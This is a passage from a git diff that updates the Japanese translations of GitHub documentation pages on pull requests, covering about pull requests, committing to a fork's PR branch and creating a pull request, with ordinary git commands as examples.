 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/index.md
index 0b40a80858..70f2586909 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/index.md
@@ -26,3 +26,4 @@ children:
   - /incorporating-changes-from-a-pull-request
 shortTitle: Collaborate with pull requests
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
index a488f3afd5..52fbe44335 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: About pull requests
-intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.'
+title: プルリクエストについて
+intro: 'プルリクエストは、他者に対してあなたが{% data variables.product.product_name %}上のリポジトリ内のブランチにプッシュした変更について知らせます。 プルリクエストがオープンされると、変更がベースブランチにマージされる前に、可能性のある変更についてコラボレーターと議論し、レビューでき、フォローアップのコメントを追加できます。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
   - /articles/using-pull-requests
@@ -15,29 +15,30 @@ versions:
 topics:
   - Pull requests
 ---
-## About pull requests
+
+## プルリクエストについて
 
 {% note %}
 
-**Note:** When working with pull requests, keep the following in mind:
-* If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes.
-* When pushing commits to a pull request, don't force push. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on.
+**メモ:** プルリクエストを使う際には以下のことを念頭に置いてください:
+* [共有リポジトリモデル](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)で作業をしている場合、プルリクエストにはトピックブランチを使うことをおすすめします。 ブランチあるいはコミットからプルリクエストを送ることもできますが、トピックブランチを使えば提案した変更を更新する必要がある場合、フォローアップのコミットをプッシュできます。
+* プルリクエストにコミットをプッシュする場合、フォースプッシュはしないでください。 Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on.
 
 {% endnote %}
 
 You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_codespaces %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI.
 
-After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)."
+プルリクエストを初期化すると、あなたのブランチ（比較ブランチ）とリポジトリのベースブランチとの差異の高レベルの概要を示すレビューページが表示されます。 提案した変更の概要を追加したり、コミットによる変更をレビューしたり、ラベルやマイルストーン、アサインされた人を追加したり、個人のコントリビューターやTeamに@メンションできます。 詳しい情報については[プルリクエストの作成](/articles/creating-a-pull-request)を参照してください。
 
-Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab.
+プルリクエストを作成したら、トピックブランチからコミットをプッシュして、それらを既存のプルリクエストに追加できます。 それらのコミットは、プルリクエスト内で時系列順に表示され、変更は"Files changed（変更されたファイル）"タブで見ることができます。
 
-Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request.
+他のコントリビューターは、あなたが提案した変更をレビューしたり、レビューコメントを追加したり、プルリクエストのディスカッションにコントリビュートしたり、さらにはプルリクエストにコメントを追加したりできます。
 
 {% ifversion fpt or ghec %}
-You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. For more information, see "[Viewing deployment activity for a repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)."
+[Conversation] タブで、ブランチの現在のデプロイメントステータスや過去のデプロイメントのアクティビティに関する情報を確認することができます。 詳細は「[リポジトリのデプロイメントアクティビティを表示する](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)」を参照してください。
 {% endif %}
 
-After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. For more information, see "[Merging a pull request](/articles/merging-a-pull-request)."
+提案された変更に満足したなら、プルリクエストをマージできます。 共有リポジトリモデルで作業している場合は、プルリクエストを作成し、あなたか他のユーザが、プルリクエストで指定したベースブランチにフィーチャブランチからの変更をマージします。 詳しい情報については[プルリクエストのマージ](/articles/merging-a-pull-request)を参照してください。
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
@@ -45,32 +46,32 @@ After you're happy with the proposed changes, you can merge the pull request. If
 
 {% tip %}
 
-**Tips:**
-- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
-- You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**参考:**
+- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. その他のショートカットについては「[キーボードのショートカット](/articles/keyboard-shortcuts)」を参照してください。
+- プルリクエストをマージする際には、変更を効率的に見ることができるようにするためにコミットを squash できます。 詳しい情報については[プルリクエストのマージについて](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)を参照してください。
 
 {% endtip %}
 
-You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+ダッシュボードにアクセスすれば、作業しているかサブスクライブしている最近更新されたプルリクエストへのリンクを素早く見つけることができます。 詳しい情報については[パーソナルダッシュボードについて](/articles/about-your-personal-dashboard)を参照してください。
 
-## Draft pull requests
+## ドラフトプルリクエスト
 
 {% data reusables.gated-features.draft-prs %}
 
-When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. For more information about creating a draft pull request, see "[Creating a pull request](/articles/creating-a-pull-request)" and "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+プルリクエストを作成する際には、レビュー可能なプルリクエストを作成するか、ドラフトのプルリクエストを作成するかを選択できます。 ドラフトのプルリクエストはマージできません。また、コードオーナーにはドラフトのプルリクエストのレビューは自動的にはリクエストされません。 ドラフトのプルリクエストの作成に関する詳しい情報については、「[プルリクエストを作成する](/articles/creating-a-pull-request)」および「[フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)」を参照してください。
 
-{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. For more information, see "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)."
+{% data reusables.pull_requests.mark-ready-review %} プルリクエストはいつでもドラフトに変換できます。 詳しい情報については、「[プルリクエストのステージを変更する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)」を参照してください。
 
-## Differences between commits on compare and pull request pages
+## 比較とプルリクエストページのコミットの違い
 
-The compare and pull request pages use different methods to calculate the diff for changed files:
+比較とプルリクエストページは、次のような異なる方法で、変更されたファイルの diff を計算します。
 
-- Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref.
-- Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different.
+- 比較ページには、head ref のヒントと、head およびベース ref の現在の共通の先祖 (マージベース) との diff が表示されます。
+- プルリクエストページには、プルリクエストが作成されたときの head ref のヒントと、head およびベース ref の共通の先祖との diff が表示されます。 したがって、比較に使用されるマージベースは異なる場合があります。
 
-## Further reading
+## 参考リンク
 
-- "[Pull request](/articles/github-glossary/#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary
+- {% data variables.product.prodname_dotcom %} 用語集中の[プルリクエスト](/articles/github-glossary/#pull-request)
 - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
-- "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)"
+- 「[プルリクエストへコメントする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)」
+- [プルリクエストのクローズ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
index 6dc332b6d9..4e1cbd8973 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Committing changes to a pull request branch created from a fork
-intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator.
+title: フォークから作成されたプルリクエストのブランチへの変更をコミットする
+intro: プルリクエストの作者から権限を付与されていれば、リポジトリのフォークから作成されたプルリクエストのブランチにおける変更をコミットできます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
   - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork
@@ -15,37 +15,38 @@ topics:
   - Pull requests
 shortTitle: Commit to PR branch from fork
 ---
-You can only make commits on pull request branches that:
-- are opened in a repository that you have push access to and that were created from a fork of that repository
-- are on a user-owned fork
-- have permission granted from the pull request creator
-- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing
 
-Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)."
+プルリクエストのブランチが以下の条件を満たす場合にのみ、コミットを実行できます:
+- あなたがプッシュアクセス権限を持つリポジトリでオープンされ、かつそのリポジトリのフォークから作成されている
+- ユーザ所有のフォーク上にある
+- プルリクエストの作者から権限を付与されている
+- コミットを妨げる[ブランチ制限](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches)がない
+
+プルリクエストを作成したユーザのみが、ユーザー所有のフォークにコミットをプッシュする権限を与えることができます。 詳しい情報については、「[フォークから作成されたプルリクエストブランチへの変更を許可する](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)」を参照してください。
 
 {% note %}
 
-**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.product.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+**注釈:** リポジトリのフォークの、コピー (またはフォーク) を作成して、プルリクエストの変更元と同じ head ブランチに変更をコミットすることにより、{% data variables.product.product_location %} を通じて、リポジトリのフォークからプルリクエストのブランチへコミットすることも可能です。 一般的なガイドラインについては、「[フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)」を参照してください。
 
 {% endnote %}
 
-1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created.
+1. {% data variables.product.product_name %}で、プルリクエストのブランチを作成したフォーク (またはリポジトリのコピー) のメインページに移動します。
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
  {% tip %}
 
- **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)."
+ **ヒント:** {% data variables.product.prodname_desktop %}を使ってフォークをクローンしたい場合、「[{% data variables.product.prodname_desktop %}にリポジトリをクローンする](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)」を参照してください。
 
  {% endtip %}
-4. Change the current working directory to the location where you want to download the cloned directory.
+4. カレントワーキングディレクトリを、クローンしたディレクトリをダウンロードしたい場所に変更します。
   ```shell
   $ cd open-source-projects
   ```
-5. Type `git clone`, and then paste the URL you copied in Step 3.
+5. `git clone` と入力し、ステップ 3 でコピーした URL を貼り付けます。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   ```
-6. Press **Enter**. Your local clone will be created.
+6. **Enter** を押します。 これで、ローカルにクローンが作成されます。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   > Cloning into `FORK-OF-THE-REPOSITORY`...
@@ -56,27 +57,25 @@ Only the user who created the pull request can give you permission to push commi
   ```
  {% tip %}
 
- **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory.
+ **ヒント:** エラーメッセージ "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" は、現在のワーキングディレクトリに、同じ名前のリポジトリがすでに存在することを意味します。 このエラーを解決するには、別のディレクトリにフォークをクローンする必要があります。
 
  {% endtip %}
-7. Navigate into your new cloned repository.
+7. 新しくクローンしたリポジトリに移動します。
   ```shell
   $ cd <em>FORK-OF-THE-REPOSITORY</em>
   ```
-7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request.
-![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png)
- In this example, the compare branch is `test-branch`:
+7. 元の変更が行われた、プルリクエストの比較ブランチに切り替えます。 元のプルリクエストに移動すると、比較ブランチがプルリクエストの上部に表示されます。 ![比較ブランチの例](/assets/images/help/pull_requests/compare-branch-example.png) 以下の例では、比較ブランチは `test-branch` です。
   ```shell
   $ git checkout <em>test-branch</em>
   ```
 
  {% tip %}
 
- **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)."
+ **ヒント:** 例も含めたプルリクエストブランチに関する詳しい情報については「[プルリクエストを作成する](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)」を参照してください。
 
  {% endtip %}
-8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like.
-9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`:
+8. これで、このブランチに対して任意の操作を実行できます。 新しいコミットのプッシュ、ローカルでのテスト、他のブランチからのマージを行うことができます。 自由に修正しましょう。
+9. プルリクエストの head ブランチに変更をコミットした後、元のプルリクエストに直接、変更をプッシュできます。 この例では、head ブランチは `test-branch` です:
   ```shell
   $ git push origin <em>test-branch</em>
   > Counting objects: 32, done.
@@ -88,8 +87,8 @@ Only the user who created the pull request can give you permission to push commi
   > 12da2e9..250e946  <em>test-branch</em> -> <em>test-branch</em>
   ```
 
-Your new commits will be reflected on the original pull request on {% data variables.product.product_location %}.
+新しいコミットが、{% data variables.product.product_location %} の元のプルリクエストに反映されます。
 
-## Further Reading
+## 参考リンク
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
index fbe2575be6..20dd070b28 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a pull request
-intro: 'Create a pull request to propose and collaborate on changes to a repository. These changes are proposed in a *branch*, which ensures that the default branch only contains finished and approved work.'
+title: プルリクエストの作成方法
+intro: リポジトリへの、変更の提案、または変更における共同作業をするには、プルリクエストを作成できます。 これらの変更は「ブランチ」を介して提案され、デフォルトブランチには完成していて、かつ承認された作業のみが含まれるようにします。
 permissions: 'Anyone with read access to a repository can create a pull request. {% data reusables.enterprise-accounts.emu-permission-propose %}'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request
@@ -15,54 +15,50 @@ topics:
   - Pull requests
 ---
 
-If you want to create a new branch for your pull request and do not have write permissions to the repository, you can fork the repository first. For more information, see "[Creating a pull request from a fork](/articles/creating-a-pull-request-from-a-fork)" and "[About forks](/articles/about-forks)."
+If you want to create a new branch for your pull request and do not have write permissions to the repository, you can fork the repository first. 詳細は「[フォークからプルリクエストを作成する](/articles/creating-a-pull-request-from-a-fork)」および「[フォークについて](/articles/about-forks)」を参照してください。
 
-You can specify which branch you'd like to merge your changes into when you create your pull request. Pull requests can only be opened between two branches that are different.
+プルリクエストを作成するとき、変更をどのブランチにマージするかを指定できます。 2 つのブランチ間で違いがある場合にのみ、プルリクエストをオープンできます。
 
 {% data reusables.pull_requests.perms-to-open-pull-request %}
 
 {% data reusables.pull_requests.close-issues-using-keywords %}
 
-## Changing the branch range and destination repository
+## ブランチの範囲と宛先リポジトリの変更
 
-By default, pull requests are based on the parent repository's default branch. For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+デフォルトでは、プルリクエストは親リポジトリの[デフォルトブランチ](/articles/setting-the-default-branch)に基づいています。 詳細は「[ブランチについて](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)」を参照してください。
 
-If the default parent repository isn't correct, you can change both the parent repository and the branch with the drop-down lists. You can also swap your head and base branches with the drop-down lists to establish diffs between reference points. References here must be branch names in your GitHub repository.
+デフォルトの親リポジトリが正しくない場合、親リポジトリとブランチをどちらもドロップダウンリストで変更できます。 また、基準点間の差分を確認するために、ドロップダウンリストで head ブランチと base ブランチを入れ替えることもできます。 ここで言う基準は GitHub リポジトリにあるブランチ名でなければなりません。
 
-![Pull Request editing branches](/assets/images/help/pull_requests/pull-request-review-edit-branch.png)
+![プルリクエスト編集ブランチ](/assets/images/help/pull_requests/pull-request-review-edit-branch.png)
 
-When thinking about branches, remember that the *base branch* is **where** changes should be applied, the *head branch* contains **what** you would like to be applied.
+ブランチを考えるとき、*base branch* は変更の適用**先**であり、*head ブランチ*には、適用する**変更内容**が含まれていることに注意してください。
 
-When you change the base repository, you also change notifications for the pull request. Everyone that can push to the base repository will receive an email notification and see the new pull request in their dashboard the next time they sign in.
+base リポジトリを変更するとき、プルリクエストの通知も変更します。 base リポジトリにプッシュできる人は誰でもメール通知を受信し、次回サインインすると自分のダッシュボードで新しいプルリクエストを確認できます。
 
-When you change any of the information in the branch range, the Commit and Files changed preview areas will update to show your new range.
+ブランチの範囲にある何らかの情報を変更すると、[Commits] と [Files changed] プレビュー領域は更新されて新しい範囲を表示します。
 
 {% tip %}
 
-**Tips**:
-- Using the compare view, you can set up comparisons across any timeframe. For more information, see "[Comparing commits](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits)."
-- Project maintainers can add a pull request template for a repository. Templates include prompts for information in the body of a pull request. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+**ヒント**:
+- 比較ビューを使用して、どの時間枠であっても比較対象として設定できます。 詳しい情報については「[コミットを比較する](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits)」を参照してください。
+- プロジェクトメンテナーはプルリクエストテンプレートをリポジトリに追加できます。 テンプレートにはプルリクエスト本文にある情報のプロンプトが含まれます。 詳しい情報については[Issue およびPull Requestのテンプレートについて](/articles/about-issue-and-pull-request-templates)を参照してください。
 
 {% endtip %}
 
-## Creating the pull request
-
-{% include tool-switcher %}
+## プルリクエストの作成
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. In the "Branch" menu, choose the branch that contains your commits.
-  ![Branch dropdown menu](/assets/images/help/pull_requests/branch-dropdown.png)
+2. [Branch] メニューで、自分のコミットが含まれるブランチを選択します。 ![ブランチのドロップダウンメニュー](/assets/images/help/pull_requests/branch-dropdown.png)
 {% data reusables.repositories.new-pull-request %}
-4. Use the _base_ branch dropdown menu to select the branch you'd like to merge your changes into, then use the _compare_ branch drop-down menu to choose the topic branch you made your changes in.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/pull_requests/choose-base-and-compare-branches.png)
+4. 変更をマージする対象のブランチを [_base_] ブランチドロップダウンメニューで選択し、次に変更を行ったトピックブランチを [_compare_] ブランチドロップダウンメニューで選択します。 ![ベースを選択し、ブランチを比較するドロップダウンメニュー](/assets/images/help/pull_requests/choose-base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
 {% data reusables.repositories.asking-for-review %}
 
-After your pull request has been reviewed, it can be [merged into the repository](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
+プルリクエストのレビューが済むと、そのプルリクエストを[リポジトリにマージ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)できます。
 
 {% endwebui %}
 
@@ -130,11 +126,9 @@ gh pr create --web
 
 {% mac %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/mac-create-pull-request.png)
-4. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. プルリクエストを作成するブランチに切り替えます。 詳しい情報については、「[ブランチの切り替え](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)」を参照してください。
+2. **Create Pull Request**をクリックします {% data variables.product.prodname_desktop %} はデフォルトのブラウザを開いて {% data variables.product.prodname_dotcom %} に移動します。 ![[Create Pull Request] ボタン](/assets/images/help/desktop/mac-create-pull-request.png)
+4. {% data variables.product.prodname_dotcom %} で、**base:** ドロップダウンメニューのブランチが変更をマージするブランチであることを確認します。 **compare:** ドロップダウンメニューのブランチが、変更を加えたトピックブランチであることを確認します。 ![ベースを選択し、ブランチを比較するドロップダウンメニュー](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
@@ -142,11 +136,9 @@ gh pr create --web
 
 {% windows %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/windows-create-pull-request.png)
-3. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. プルリクエストを作成するブランチに切り替えます。 詳しい情報については、「[ブランチの切り替え](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)」を参照してください。
+2. **Create Pull Request**をクリックします {% data variables.product.prodname_desktop %} はデフォルトのブラウザを開いて {% data variables.product.prodname_dotcom %} に移動します。 ![[Create Pull Request] ボタン](/assets/images/help/desktop/windows-create-pull-request.png)
+3. {% data variables.product.prodname_dotcom %} で、**base:** ドロップダウンメニューのブランチが変更をマージするブランチであることを確認します。 **compare:** ドロップダウンメニューのブランチが、変更を加えたトピックブランチであることを確認します。 ![ベースを選択し、ブランチを比較するドロップダウンメニュー](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
@@ -158,22 +150,20 @@ gh pr create --web
 
 {% codespaces %}
 
-1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon.
-![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)  
-1. Check that the local branch and repository you're merging from, and the remote branch and repository you're merging into, are correct. Then give the pull request a title and a description.
-![GitHub pull request side bar](/assets/images/help/codespaces/codespaces-commit-pr.png)
-1. Click **Create**.
+1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon. ![ステージングボタンが強調表示されたソースコントロールサイドバー](/assets/images/help/codespaces/codespaces-commit-pr-button.png)
+1. マージ元のローカルブランチとリポジトリ、およびマージ先のリモートブランチとリポジトリが正しいことを確認します。 そして、プルリクエストにタイトルと説明を付けます。 ![GitHub pull request side bar](/assets/images/help/codespaces/codespaces-commit-pr.png)
+1. ** Create（作成）**をクリックしてください。
 
 For more information on creating pull requests in {% data variables.product.prodname_codespaces %}, see "[Using Codespaces for pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)."
 
 {% endcodespaces %}
 
 {% endif %}
-## Further reading
+## 参考リンク
 
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- "[Changing the base branch of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)"
-- "[Adding issues and pull requests to a project board from the sidebar](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar)"
-- "[About automation for issues and pull requests with query parameters](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters)"
+- [フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)
+- [プルリクエストのベースブランチを変更する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)
+- 「[サイドバーからプロジェクトボードへ Issue およびプルリクエストを追加する](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar)」
+- 「[クエリパラメータによる Issue およびプルリクエストの自動化について](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters)」
 - "[Assigning issues and pull requests to other GitHub users](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users)"
-- "[Writing on GitHub](/github/writing-on-github)"
+- [GitHubでの執筆](/github/writing-on-github)
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
index aeff18cc0b..45ba0bf40f 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
